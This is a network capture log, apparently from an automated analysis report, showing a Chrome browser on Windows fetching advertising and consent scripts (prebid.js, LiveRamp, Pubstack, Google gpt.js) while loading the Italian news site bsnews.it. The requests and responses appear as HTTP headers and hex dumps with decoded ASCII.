2024-03-28 08:51:14 UTC	399	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 28 Mar 2024 08:51:14 GMT Content-Type: application/javascript Transfer-Encoding: chunked Connection: close Last-Modified: Wed, 31 Jan 2024 15:33:59 GMT Cache-control: max-age=31536000 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: POST, GET, OPTIONS, PUT, DELETE X-Device: desktop Age: 35172 TP-Cache: HIT Vary: Accept-Encoding
2024-03-28 08:51:14 UTC	3697	IN	Data Raw: 38 30 30 30 0d 0a 2f 2a 20 70 72 65 62 69 64 2e 6a 73 20 76 38 2e 33 33 2e 30 0a 55 70 64 61 74 65 64 3a 20 32 30 32 34 2d 30 31 2d 33 31 0a 4d 6f 64 75 6c 65 73 3a 20 66 70 64 4d 6f 64 75 6c 65 2c 20 75 73 65 72 49 64 2c 20 61 64 66 42 69 64 41 64 61 70 74 65 72 2c 20 61 64 6d 61 6e 42 69 64 41 64 61 70 74 65 72 2c 20 61 64 70 6f 6e 65 42 69 64 41 64 61 70 74 65 72 2c 20 61 64 79 6f 75 6c 69 6b 65 42 69 64 41 64 61 70 74 65 72 2c 20 61 6d 78 42 69 64 41 64 61 70 74 65 72 2c 20 61 70 70 6e 65 78 75 73 42 69 64 41 64 61 70 74 65 72 2c 20 62 65 74 77 65 65 6e 42 69 64 41 64 61 70 74 65 72 2c 20 62 69 7a 7a 63 6c 69 63 6b 42 69 64 41 64 61 70 74 65 72 2c 20 63 6f 6e 6e 65 63 74 61 64 42 69 64 41 64 61 70 74 65 72 2c 20 63 72 69 74 65 6f 42 69 64 41 64 61 70 Data Ascii: 8000/* prebid.js v8.33.0Updated: 2024-01-31Modules: fpdModule, userId, adfBidAdapter, admanBidAdapter, adponeBidAdapter, adyoulikeBidAdapter, amxBidAdapter, appnexusBidAdapter, betweenBidAdapter, bizzclickBidAdapter, connectadBidAdapter, criteoBidAdap
2024-03-28 08:51:14 UTC	4096	IN	Data Raw: 74 72 61 6e 73 6d 69 74 45 69 64 73 22 2c 64 3d 22 74 72 61 6e 73 6d 69 74 55 66 70 64 22 2c 66 3d 22 74 72 61 6e 73 6d 69 74 50 72 65 63 69 73 65 47 65 6f 22 2c 6c 3d 22 74 72 61 6e 73 6d 69 74 54 69 64 22 7d 2c 31 30 32 38 36 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 2c 74 29 7b 74 2e 64 28 6e 2c 7b 54 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 69 7d 7d 29 3b 76 61 72 20 72 3d 74 28 38 36 31 30 34 29 2c 69 3d 28 30 2c 74 28 31 36 33 31 30 29 2e 4f 6a 29 28 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 72 2e 5a 50 2e 72 65 73 6f 6c 76 65 41 6c 69 61 73 28 65 29 7d 29 29 7d 2c 39 36 33 33 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 2c 74 29 7b 74 2e 64 28 6e 2c 7b 55 4c 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 69 7d 2c Data Ascii: transmitEids",d="transmitUfpd",f="transmitPreciseGeo",l="transmitTid"},10286:function(e,n,t){t.d(n,{T:function(){return i}});var r=t(86104),i=(0,t(16310).Oj)((function(e){return r.ZP.resolveAlias(e)}))},9633:function(e,n,t){t.d(n,{UL:function(){return i},
2024-03-28 08:51:14 UTC	4096	IN	Data Raw: 6d 65 6e 74 73 5b 30 5d 3a 75 2e 78 44 3b 72 65 74 75 72 6e 5b 7b 6e 61 6d 65 3a 63 2e 6f 4b 2c 70 61 74 68 73 3a 66 2c 61 70 70 6c 69 65 73 3a 62 28 63 2e 6f 4b 2c 65 29 7d 2c 7b 6e 61 6d 65 3a 63 2e 65 2c 70 61 74 68 73 3a 6c 2c 61 70 70 6c 69 65 73 3a 62 28 63 2e 65 2c 65 29 7d 2c 7b 6e 61 6d 65 3a 63 2e 67 30 2c 70 61 74 68 73 3a 67 2c 61 70 70 6c 69 65 73 3a 62 28 63 2e 67 30 2c 65 29 2c 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 4d 61 74 68 2e 72 6f 75 6e 64 28 31 30 30 2a 28 65 2b 4e 75 6d 62 65 72 2e 45 50 53 49 4c 4f 4e 29 29 2f 31 30 30 7d 7d 2c 7b 6e 61 6d 65 3a 63 2e 4a 74 2c 70 61 74 68 73 3a 5b 22 73 6f 75 72 63 65 2e 74 69 64 22 5d 2c 61 70 70 6c 69 65 73 3a 62 28 63 2e 4a 74 2c 65 29 7d 5d 2e 6d 61 70 28 70 29 7d Data Ascii: ments[0]:u.xD;return[{name:c.oK,paths:f,applies:b(c.oK,e)},{name:c.e,paths:l,applies:b(c.e,e)},{name:c.g0,paths:g,applies:b(c.g0,e),get:function(e){return Math.round(100*(e+Number.EPSILON))/100}},{name:c.Jt,paths:["source.tid"],applies:b(c.Jt,e)}].map(p)}
2024-03-28 08:51:14 UTC	4096	IN	Data Raw: 72 6c 29 7c 7c 22 22 7d 3b 65 28 7b 61 64 3a 28 30 2c 72 2e 72 65 70 6c 61 63 65 4d 61 63 72 6f 73 29 28 62 2c 4f 29 2c 61 64 55 72 6c 3a 28 30 2c 72 2e 72 65 70 6c 61 63 65 4d 61 63 72 6f 73 29 28 79 2c 4f 29 2c 61 64 49 64 3a 6d 2c 77 69 64 74 68 3a 77 2c 68 65 69 67 68 74 3a 45 7d 29 7d 7d 63 61 74 63 68 28 65 29 7b 72 65 74 75 72 6e 20 76 6f 69 64 20 68 28 7b 72 65 61 73 6f 6e 3a 61 2e 71 5f 2e 58 57 2c 6d 65 73 73 61 67 65 3a 65 2e 6d 65 73 73 61 67 65 2c 69 64 3a 74 2c 62 69 64 3a 6c 7d 29 7d 64 2e 4b 2e 61 64 64 57 69 6e 6e 69 6e 67 42 69 64 28 6c 29 2c 6f 2e 65 6d 69 74 28 76 2c 6c 29 7d 7d 65 6c 73 65 20 68 28 7b 72 65 61 73 6f 6e 3a 61 2e 71 5f 2e 57 54 2c 6d 65 73 73 61 67 65 3a 22 43 61 6e 6e 6f 74 20 66 69 6e 64 20 61 64 20 27 22 2e 63 6f 6e Data Ascii: rl)\|\|""};e({ad:(0,r.replaceMacros)(b,O),adUrl:(0,r.replaceMacros)(y,O),adId:m,width:w,height:E})}}catch(e){return void h({reason:a.q_.XW,message:e.message,id:t,bid:l})}d.K.addWinningBid(l),o.emit(v,l)}}else h({reason:a.q_.WT,message:"Cannot find ad '".con
2024-03-28 08:51:14 UTC	4096	IN	Data Raw: 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3b 72 65 74 75 72 6e 20 65 2e 6d 6f 64 75 6c 65 3d 3d 3d 6b 26 26 28 6e 75 6c 6c 3d 3d 3d 28 74 3d 65 2e 70 61 72 61 6d 73 29 7c 7c 76 6f 69 64 20 30 3d 3d 3d 74 3f 76 6f 69 64 20 30 3a 74 2e 63 6f 6e 66 69 67 4e 61 6d 65 29 3d 3d 3d 6e 2e 63 6f 6e 66 69 67 4e 61 6d 65 7d 29 29 3b 31 3d 3d 3d 74 2e 6c 65 6e 67 74 68 3f 28 65 2e 73 32 73 42 69 64 3d 74 5b 30 5d 2c 72 3d 21 30 2c 65 2e 6f 72 74 62 32 49 6d 70 3d 28 30 2c 61 2e 6d 65 72 67 65 44 65 65 70 29 28 7b 7d 2c 65 2e 73 32 73 42 69 64 2e 6f 72 74 62 32 49 6d 70 2c 65 2e 6f 72 74 62 32 49 6d 70 29 29 3a 74 2e 6c 65 6e 67 74 68 3e 31 26 26 28 30 2c 61 2e 6c 6f 67 57 61 72 6e 29 28 27 4d 75 6c 74 69 70 6c 65 20 22 6d 6f 64 75 6c 65 22 20 62 69 64 73 20 66 6f 72 Data Ascii: ction(e){var t;return e.module===k&&(null===(t=e.params)\|\|void 0===t?void 0:t.configName)===n.configName}));1===t.length?(e.s2sBid=t[0],r=!0,e.ortb2Imp=(0,a.mergeDeep)({},e.s2sBid.ortb2Imp,e.ortb2Imp)):t.length>1&&(0,a.logWarn)('Multiple "module" bids for
2024-03-28 08:51:14 UTC	4096	IN	Data Raw: 75 65 73 74 73 22 29 2c 55 2e 63 61 6c 6c 42 69 64 73 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 2c 74 2c 72 2c 6f 2c 75 2c 63 29 7b 76 61 72 20 73 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3e 37 26 26 76 6f 69 64 20 30 21 3d 3d 61 72 67 75 6d 65 6e 74 73 5b 37 5d 3f 61 72 67 75 6d 65 6e 74 73 5b 37 5d 3a 7b 7d 3b 69 66 28 6e 2e 6c 65 6e 67 74 68 29 7b 76 61 72 20 6c 3d 6e 2e 72 65 64 75 63 65 28 28 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 29 7b 72 65 74 75 72 6e 20 65 5b 4e 75 6d 62 65 72 28 76 6f 69 64 20 30 21 3d 3d 6e 2e 73 72 63 26 26 6e 2e 73 72 63 3d 3d 3d 62 2e 6f 73 2e 59 5a 29 5d 2e 70 75 73 68 28 6e 29 2c 65 7d 29 2c 5b 5b 5d 2c 5b 5d 5d 29 2c 67 3d 28 30 2c 69 2e 5a 29 28 6c 2c 32 29 2c 70 3d 67 5b 30 5d 2c 76 3d 67 5b 31 5d 2c 68 3d 5b 5d 3b Data Ascii: uests"),U.callBids=function(e,n,t,r,o,u,c){var s=arguments.length>7&&void 0!==arguments[7]?arguments[7]:{};if(n.length){var l=n.reduce((function(e,n){return e[Number(void 0!==n.src&&n.src===b.os.YZ)].push(n),e}),[[],[]]),g=(0,i.Z)(l,2),p=g[0],v=g[1],h=[];
2024-03-28 08:51:14 UTC	4096	IN	Data Raw: 6f 72 20 61 6e 61 6c 79 74 69 63 73 43 6f 64 65 20 6e 6f 74 20 73 70 65 63 69 66 69 65 64 22 29 7d 2c 55 2e 65 6e 61 62 6c 65 41 6e 61 6c 79 74 69 63 73 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 28 30 2c 61 2e 69 73 41 72 72 61 79 29 28 65 29 7c 7c 28 65 3d 5b 65 5d 29 2c 65 2e 66 6f 72 45 61 63 68 28 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 6e 3d 5a 5b 65 2e 70 72 6f 76 69 64 65 72 5d 3b 6e 26 26 6e 2e 61 64 61 70 74 65 72 3f 6a 2e 69 73 41 6c 6c 6f 77 65 64 28 43 2e 78 24 2c 71 28 45 2e 5f 55 2c 65 2e 70 72 6f 76 69 64 65 72 2c 28 30 2c 6f 2e 5a 29 28 7b 7d 2c 54 2e 48 77 2c 65 29 29 29 26 26 6e 2e 61 64 61 70 74 65 72 2e 65 6e 61 62 6c 65 41 6e 61 6c 79 74 69 63 73 28 65 29 3a 28 30 2c 61 2e 6c 6f 67 45 72 72 6f 72 29 28 22 50 72 65 62 69 64 20 Data Ascii: or analyticsCode not specified")},U.enableAnalytics=function(e){(0,a.isArray)(e)\|\|(e=[e]),e.forEach((function(e){var n=Z[e.provider];n&&n.adapter?j.isAllowed(C.x$,q(E._U,e.provider,(0,o.Z)({},T.Hw,e)))&&n.adapter.enableAnalytics(e):(0,a.logError)("Prebid
2024-03-28 08:51:14 UTC	4096	IN	Data Raw: 69 6f 6e 20 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 66 6f 72 20 61 6e 20 75 6e 6b 6e 6f 77 6e 20 62 69 64 49 64 22 2c 65 29 7d 29 29 7d 2c 6f 6e 45 72 72 6f 72 3a 66 75 6e 63 74 69 6f 6e 28 6e 2c 72 29 7b 72 2e 74 69 6d 65 64 4f 75 74 7c 7c 64 28 65 2e 63 6f 64 65 29 2c 61 2e 5a 50 2e 63 61 6c 6c 42 69 64 64 65 72 45 72 72 6f 72 28 65 2e 63 6f 64 65 2c 72 2c 74 29 2c 67 2e 65 6d 69 74 28 6c 2e 46 50 2e 42 49 44 44 45 52 5f 45 52 52 4f 52 2c 7b 65 72 72 6f 72 3a 72 2c 62 69 64 64 65 72 52 65 71 75 65 73 74 3a 74 7d 29 2c 28 30 2c 76 2e 6c 6f 67 45 72 72 6f 72 29 28 22 53 65 72 76 65 72 20 63 61 6c 6c 20 66 6f 72 20 22 2e 63 6f 6e 63 61 74 28 65 2e 63 6f 64 65 2c 22 20 66 61 69 6c 65 64 3a 20 22 29 2e 63 6f 6e 63 61 74 28 6e 2c 22 20 22 29 2e 63 6f 6e 63 Data Ascii: ion configuration for an unknown bidId",e)}))},onError:function(n,r){r.timedOut\|\|d(e.code),a.ZP.callBidderError(e.code,r,t),g.emit(l.FP.BIDDER_ERROR,{error:r,bidderRequest:t}),(0,v.logError)("Server call for ".concat(e.code," failed: ").concat(n," ").conc
2024-03-28 08:51:14 UTC	407	IN	Data Raw: 78 3a 72 3b 69 66 28 28 6e 2e 77 69 64 74 68 7c 7c 30 3d 3d 3d 70 61 72 73 65 49 6e 74 28 6e 2e 77 69 64 74 68 2c 31 30 29 29 26 26 28 6e 2e 68 65 69 67 68 74 7c 7c 30 3d 3d 3d 70 61 72 73 65 49 6e 74 28 6e 2e 68 65 69 67 68 74 2c 31 30 29 29 29 72 65 74 75 72 6e 20 6e 2e 77 69 64 74 68 3d 70 61 72 73 65 49 6e 74 28 6e 2e 77 69 64 74 68 2c 31 30 29 2c 6e 2e 68 65 69 67 68 74 3d 70 61 72 73 65 49 6e 74 28 6e 2e 68 65 69 67 68 74 2c 31 30 29 2c 21 30 3b 76 61 72 20 61 3d 6f 2e 67 65 74 42 69 64 52 65 71 75 65 73 74 28 6e 29 2c 75 3d 6f 2e 67 65 74 4d 65 64 69 61 54 79 70 65 73 28 6e 29 2c 63 3d 61 26 26 61 2e 73 69 7a 65 73 7c 7c 75 26 26 75 2e 62 61 6e 6e 65 72 26 26 75 2e 62 61 6e 6e 65 72 2e 73 69 7a 65 73 2c 73 3d 28 30 2c 76 2e 70 61 72 73 65 53 69 7a Data Ascii: x:r;if((n.width\|\|0===parseInt(n.width,10))&&(n.height\|\|0===parseInt(n.height,10)))return n.width=parseInt(n.width,10),n.height=parseInt(n.height,10),!0;var a=o.getBidRequest(n),u=o.getMediaTypes(n),c=a&&a.sizes\|\|u&&u.banner&&u.banner.sizes,s=(0,v.parseSiz
2024-03-28 08:51:14 UTC	4096	IN	Data Raw: 38 30 30 30 0d 0a 74 69 6f 6e 20 52 28 65 2c 6e 29 7b 76 61 72 20 74 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3e 32 26 26 76 6f 69 64 20 30 21 3d 3d 61 72 67 75 6d 65 6e 74 73 5b 32 5d 3f 61 72 67 75 6d 65 6e 74 73 5b 32 5d 3a 7b 7d 2c 72 3d 74 2e 69 6e 64 65 78 2c 69 3d 76 6f 69 64 20 30 3d 3d 3d 72 3f 6d 2e 4b 2e 69 6e 64 65 78 3a 72 3b 66 75 6e 63 74 69 6f 6e 20 6f 28 29 7b 76 61 72 20 65 3d 4f 62 6a 65 63 74 2e 6b 65 79 73 28 6e 29 3b 72 65 74 75 72 6e 20 54 2e 65 76 65 72 79 28 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 28 30 2c 70 2e 71 39 29 28 65 2c 74 29 26 26 21 28 30 2c 70 2e 71 39 29 28 5b 76 6f 69 64 20 30 2c 6e 75 6c 6c 5d 2c 6e 5b 74 5d 29 7d 29 29 7d 66 75 6e 63 74 69 6f 6e 20 61 28 65 29 7b 72 65 74 75 72 6e 22 49 Data Ascii: 8000tion R(e,n){var t=arguments.length>2&&void 0!==arguments[2]?arguments[2]:{},r=t.index,i=void 0===r?m.K.index:r;function o(){var e=Object.keys(n);return T.every((function(t){return(0,p.q9)(e,t)&&!(0,p.q9)([void 0,null],n[t])}))}function a(e){return"I

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
193	192.168.2.4	49953	52.85.151.46	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:14 UTC	586	OUT	GET /8b0c9ead-8934-45cd-84f5-3219dc4e4700/launchpad-liveramp.js HTTP/1.1 Host: launchpad-wrapper.privacymanager.io Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://bsnews.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:14 UTC	670	IN	HTTP/1.1 200 OK Content-Type: text/javascript Content-Length: 3900 Connection: close Date: Thu, 28 Mar 2024 08:51:15 GMT x-amz-replication-status: COMPLETED Last-Modified: Wed, 27 Mar 2024 08:30:18 GMT ETag: "a92fdcd65d3b62c93a0fe1a8603c952e" x-amz-server-side-encryption: AES256 Content-Disposition: attachment; filename="launchpad-liveramp.js" x-amz-version-id: pJ8TrF_hjZrZJ1zNK1Ik6Tz8Y9ZJrPuG Accept-Ranges: bytes Server: AmazonS3 Vary: Accept-Encoding X-Cache: Miss from cloudfront Via: 1.1 199fd61d7551d8868317c5b53cc7d24c.cloudfront.net (CloudFront) X-Amz-Cf-Pop: IAD89-C3 X-Amz-Cf-Id: s-2dwBcAeRzY_N6HHGTh4PTfmbsahuZvf5r9-LxSi16hYQpp-cWZMw==
2024-03-28 08:51:14 UTC	3900	IN	Data Raw: 76 61 72 20 6c 61 75 6e 63 68 50 61 64 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 73 63 72 69 70 74 22 29 2c 6c 61 75 6e 63 68 50 61 64 43 6f 6e 66 69 67 75 72 61 74 69 6f 6e 3d 28 6c 61 75 6e 63 68 50 61 64 2e 61 73 79 6e 63 3d 21 30 2c 6c 61 75 6e 63 68 50 61 64 2e 64 65 66 65 72 3d 21 30 2c 21 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 6f 2c 6e 2c 69 2c 74 3b 22 66 75 6e 63 74 69 6f 6e 22 21 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 2e 5f 5f 6c 61 75 6e 63 68 70 61 64 26 26 28 6f 3d 5b 5d 2c 6e 3d 77 69 6e 64 6f 77 2c 69 3d 6e 2e 64 6f 63 75 6d 65 6e 74 2c 74 3d 6e 2e 5f 5f 6c 61 75 6e 63 68 70 61 64 3f 6e 2e 5f 5f 6c 61 75 6e 63 68 70 61 64 2e 73 74 61 72 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 2c 21 6e 2e 5f 5f 6c Data Ascii: var launchPad=document.createElement("script"),launchPadConfiguration=(launchPad.async=!0,launchPad.defer=!0,!function(){var o,n,i,t;"function"!=typeof window.__launchpad&&(o=[],n=window,i=n.document,t=n.__launchpad?n.__launchpad.start:function(){},!n.__l

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
194	192.168.2.4	49954	104.22.1.93	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:14 UTC	551	OUT	GET /v1/tag/fe80191f-083a-4937-a545-d8845a551713 HTTP/1.1 Host: boot.pbstck.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://bsnews.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:15 UTC	339	IN	HTTP/1.1 200 OK Date: Thu, 28 Mar 2024 08:51:14 GMT Content-Type: application/javascript Transfer-Encoding: chunked Connection: close access-control-allow-origin: * Cache-Control: private,max-age=120 timing-allow-origin: * CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 86b660905c607f9a-IAD alt-svc: h3=":443"; ma=86400
2024-03-28 08:51:15 UTC	1030	IN	Data Raw: 62 61 34 0d 0a 28 66 75 6e 63 74 69 6f 6e 28 29 7b 0a 66 75 6e 63 74 69 6f 6e 20 72 75 6e 28 6e 2c 74 2c 69 29 7b 76 61 72 20 61 3d 6e 65 77 20 58 4d 4c 48 74 74 70 52 65 71 75 65 73 74 3b 61 2e 6f 6e 72 65 61 64 79 73 74 61 74 65 63 68 61 6e 67 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 74 68 69 73 2e 72 65 61 64 79 53 74 61 74 65 3d 3d 3d 34 26 26 74 68 69 73 2e 73 74 61 74 75 73 3d 3d 3d 32 30 30 29 7b 76 61 72 20 74 3d 6e 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 73 63 72 69 70 74 22 29 3b 74 2e 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3b 74 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 28 66 75 6e 63 74 69 6f 6e 28 29 20 7b 20 76 61 72 20 6c 6f 61 64 20 3d 20 66 75 6e 63 74 69 6f 6e 28 29 20 7b 22 2b 61 2e 72 65 73 70 6f 6e Data Ascii: ba4(function(){function run(n,t,i){var a=new XMLHttpRequest;a.onreadystatechange=function(){if(this.readyState===4&&this.status===200){var t=n.createElement("script");t.type="text/javascript";t.innerHTML="(function() { var load = function() {"+a.respon
2024-03-28 08:51:15 UTC	1369	IN	Data Raw: 31 37 31 31 36 31 35 38 37 34 39 34 36 2c 22 62 6f 6f 74 73 74 72 61 70 56 65 72 73 69 6f 6e 22 3a 22 75 6e 64 65 66 69 6e 65 64 22 2c 22 64 65 76 69 63 65 22 3a 22 64 65 73 6b 74 6f 70 22 2c 22 62 72 6f 77 73 65 72 4e 61 6d 65 22 3a 22 43 68 72 6f 6d 65 22 2c 22 62 72 6f 77 73 65 72 56 65 72 73 69 6f 6e 22 3a 22 31 31 37 22 2c 22 6f 73 4e 61 6d 65 22 3a 22 57 69 6e 64 6f 77 73 22 2c 22 6f 73 56 65 72 73 69 6f 6e 22 3a 22 31 30 22 2c 22 63 6f 75 6e 74 72 79 22 3a 22 55 53 22 7d 29 20 2b 20 27 29 3b 27 29 3b 0a 72 75 6e 28 64 6f 63 75 6d 65 6e 74 2c 20 27 68 74 74 70 73 3a 2f 2f 63 64 6e 2e 70 62 73 74 63 6b 2e 63 6f 6d 2f 69 6e 64 65 78 2d 72 65 66 72 65 73 68 2d 62 62 64 63 33 39 63 2e 6a 73 27 2c 20 27 5f 2e 72 65 66 72 65 73 68 2e 70 75 62 73 74 61 63 Data Ascii: 1711615874946,"bootstrapVersion":"undefined","device":"desktop","browserName":"Chrome","browserVersion":"117","osName":"Windows","osVersion":"10","country":"US"}) + ');');run(document, 'https://cdn.pbstck.com/index-refresh-bbdc39c.js', '_.refresh.pubstac
2024-03-28 08:51:15 UTC	588	IN	Data Raw: 2e 70 62 73 74 63 6b 2e 63 6f 6d 2f 63 6f 6c 6c 65 63 74 6f 72 2d 39 64 34 37 64 39 32 2e 6a 73 27 2c 20 27 5f 2e 63 6f 6c 6c 65 63 74 6f 72 2e 70 75 62 73 74 61 63 6b 41 75 74 6f 63 6f 6e 66 69 67 28 27 20 2b 20 4a 53 4f 4e 2e 73 74 72 69 6e 67 69 66 79 28 7b 22 65 6e 64 70 6f 69 6e 74 22 3a 7b 22 73 63 72 69 70 74 22 3a 22 68 74 74 70 73 3a 2f 2f 63 64 6e 2e 70 62 73 74 63 6b 2e 63 6f 6d 2f 63 6f 6c 6c 65 63 74 6f 72 2d 39 64 34 37 64 39 32 2e 6a 73 22 2c 22 67 61 74 65 77 61 79 22 3a 22 68 74 74 70 73 3a 2f 2f 69 6e 74 61 6b 65 2e 70 62 73 74 63 6b 2e 63 6f 6d 2f 76 31 2f 69 6e 74 61 6b 65 22 7d 2c 22 73 63 6f 70 65 49 64 22 3a 22 34 66 33 33 62 39 37 34 2d 39 35 38 30 2d 34 65 36 38 2d 62 62 33 32 2d 64 62 34 38 61 62 38 65 36 38 63 62 22 2c 22 74 61 Data Ascii: .pbstck.com/collector-9d47d92.js', '_.collector.pubstackAutoconfig(' + JSON.stringify({"endpoint":{"script":"https://cdn.pbstck.com/collector-9d47d92.js","gateway":"https://intake.pbstck.com/v1/intake"},"scopeId":"4f33b974-9580-4e68-bb32-db48ab8e68cb","ta
2024-03-28 08:51:15 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
195	192.168.2.4	49952	142.251.16.157	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:14 UTC	633	OUT	GET /tag/js/gpt.js HTTP/1.1 Host: securepubads.g.doubleclick.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://bsnews.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:14 UTC	785	IN	HTTP/1.1 200 OK P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Timing-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Vary: Accept-Encoding Date: Thu, 28 Mar 2024 08:51:14 GMT Expires: Thu, 28 Mar 2024 08:51:14 GMT Cache-Control: private, max-age=900, stale-while-revalidate=3600 Content-Type: text/javascript; charset=UTF-8 ETag: 755 / 19810 / m202403210101 / config-hash: 3793614689772186280 Access-Control-Allow-Origin: * X-Content-Type-Options: nosniff Content-Disposition: attachment; filename="f.txt" Server: cafe Content-Length: 92831 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-03-28 08:51:14 UTC	467	IN	Data Raw: 28 66 75 6e 63 74 69 6f 6e 28 73 74 74 63 29 7b 76 61 72 20 77 69 6e 64 6f 77 3d 74 68 69 73 3b 69 66 28 77 69 6e 64 6f 77 2e 67 6f 6f 67 6c 65 74 61 67 26 26 67 6f 6f 67 6c 65 74 61 67 2e 65 76 61 6c 53 63 72 69 70 74 73 29 7b 67 6f 6f 67 6c 65 74 61 67 2e 65 76 61 6c 53 63 72 69 70 74 73 28 29 3b 7d 69 66 28 77 69 6e 64 6f 77 2e 67 6f 6f 67 6c 65 74 61 67 26 26 67 6f 6f 67 6c 65 74 61 67 2e 5f 6c 6f 61 64 65 64 5f 29 72 65 74 75 72 6e 3b 76 61 72 20 6e 2c 62 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 30 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 62 3c 61 2e 6c 65 6e 67 74 68 3f 7b 64 6f 6e 65 3a 21 31 2c 76 61 6c 75 65 3a 61 5b 62 2b 2b 5d 7d 3a 7b 64 6f 6e 65 3a 21 30 7d 7d 7d 2c 63 61 3d 22 66 75 6e Data Ascii: (function(sttc){var window=this;if(window.googletag&&googletag.evalScripts){googletag.evalScripts();}if(window.googletag&&googletag._loaded_)return;var n,ba=function(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}},ca="fun
2024-03-28 08:51:14 UTC	1252	IN	Data Raw: 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 73 65 6c 66 26 26 73 65 6c 66 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 5d 3b 66 6f 72 28 76 61 72 20 62 3d 30 3b 62 3c 61 2e 6c 65 6e 67 74 68 3b 2b 2b 62 29 7b 76 61 72 20 63 3d 61 5b 62 5d 3b 69 66 28 63 26 26 63 2e 4d 61 74 68 3d 3d 4d 61 74 68 29 72 65 74 75 72 6e 20 63 7d 74 68 72 6f 77 20 45 72 72 6f 72 28 22 43 61 6e 6e 6f 74 20 66 69 6e 64 20 67 6c 6f 62 61 6c 20 6f 62 6a 65 63 74 22 29 3b 7d 2c 65 61 3d 64 61 28 74 68 69 73 29 2c 66 61 3d 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 26 26 22 73 79 6d 62 6f 6c 22 3d Data Ascii: "object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof 